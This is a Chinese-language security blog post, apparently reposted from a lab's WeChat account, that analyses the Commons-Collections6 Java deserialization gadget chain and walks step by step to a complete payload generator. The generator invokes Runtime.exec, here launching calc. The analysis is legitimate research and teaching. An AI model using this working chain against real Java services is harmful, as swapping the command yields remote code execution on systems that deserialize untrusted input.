0x00 前言
JDK8U71官方修复了AnnotationInvocationHandler中的readObject方法中一些处理,
导致一些高版本JDK无法使用CC1。
8U71之后不再对传入Map进行反序列化,而是引入了LinkedHashMap,添加原Map的键值,后续处理都会基于LinkedHashMap。
0x01 正文
依赖版本:
-
JDK8U71 -
Commons-Collections:3.1
回顾Commons-Collections1
我们是通过invoke触发LazyMap的get方法
(动态代理的原理)
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
两条链的核心都是因为LazyMap.get方法当他获取不到key时就会调用map的transform方法,但是当引入高版本JDK时候,就无法触发get方法,CC6就是在通过调用别的方法来触发LazyMap.get
Commons-Collections6
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
这个时候我们就找到了TiedMapEntry类
org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
getValue的方法是由同类下的hashCode方法调用
如果跟过URLDNS链的师傅肯定清楚,HashMap中的readObject方法会对传入的map中的key进行调用hash方法
最后再调用hashcode方法
HashMap.readObject()->Hash.Map.hash(key)->key.hashCode()
所以说,我们只需要将这个key
改为我们传入的TiedMapEntry对象即可触发RCE
payload构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"white");
HashMap hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"black");
serialize(hashMap1);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objops = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objops.writeObject(obj);
}
public static Object unserialize(String Filename)throws IOException, ClassNotFoundException {
ObjectInputStream objis = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objis.readObject();
return obj;
}
}
但是呢,都知道hashmap的put方法会直接调用hash方法,
这样就会导致链子提前触发。
所以我们在进行put的时候使链处于无效状态,
put后通过反射修改。
直接传入一个FakeChains到LazyMap的修饰器中。
反射修改factory。
payload构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"explorer"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap, new ChainedTransformer(new Transformer[]{}));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"white");
HashMap hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"black");
Class cls = LazyMap.class;
Field Factoryfield = cls.getDeclaredField("factory");
Factoryfield.setAccessible(true);
Factoryfield.set(lazymap,chainedTransformer);
serialize(hashMap1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objops = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objops.writeObject(obj);
}
public static Object unserialize(String Filename)throws IOException, ClassNotFoundException {
ObjectInputStream objis = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objis.readObject();
return obj;
}
}
0x02 坑点
新的问题出现,命令没有成功执行。
在进行调试put方法时候会直接出现弹窗,需要关闭这两个设置。
第一次传入fakechains的时候,因为缓存机制,他会直接将这个white值put进去。下一次携带恶意链的map进入if时候就会导致white存在,不为false,无法进入if。
所以我们就需要在执行完hashMap1.put(tiedMapEntry,"black");
之后对map中的key进行清理。
这里采用的是直接针对删除white字段。
直接clear也行
完整Payload
完整Payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap, new ChainedTransformer(new Transformer[]{}));
HashMap<Object, Object> hashMap1 = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "white");
hashMap1.put(tiedMapEntry,"black");
lazymap.remove("white");
Field FactoryField = LazyMap.class.getDeclaredField("factory");
FactoryField.setAccessible(true);
FactoryField.set(lazymap,chainedTransformer);
serialize(hashMap1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objops = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objops.writeObject(obj);
}
public static Object unserialize(String Filename)throws IOException, ClassNotFoundException {
ObjectInputStream objis = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objis.readObject();
return obj;
}
}
0x03 结尾
原文始发于微信公众号(赛搏思安全实验室):Java反序列化之CC6分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论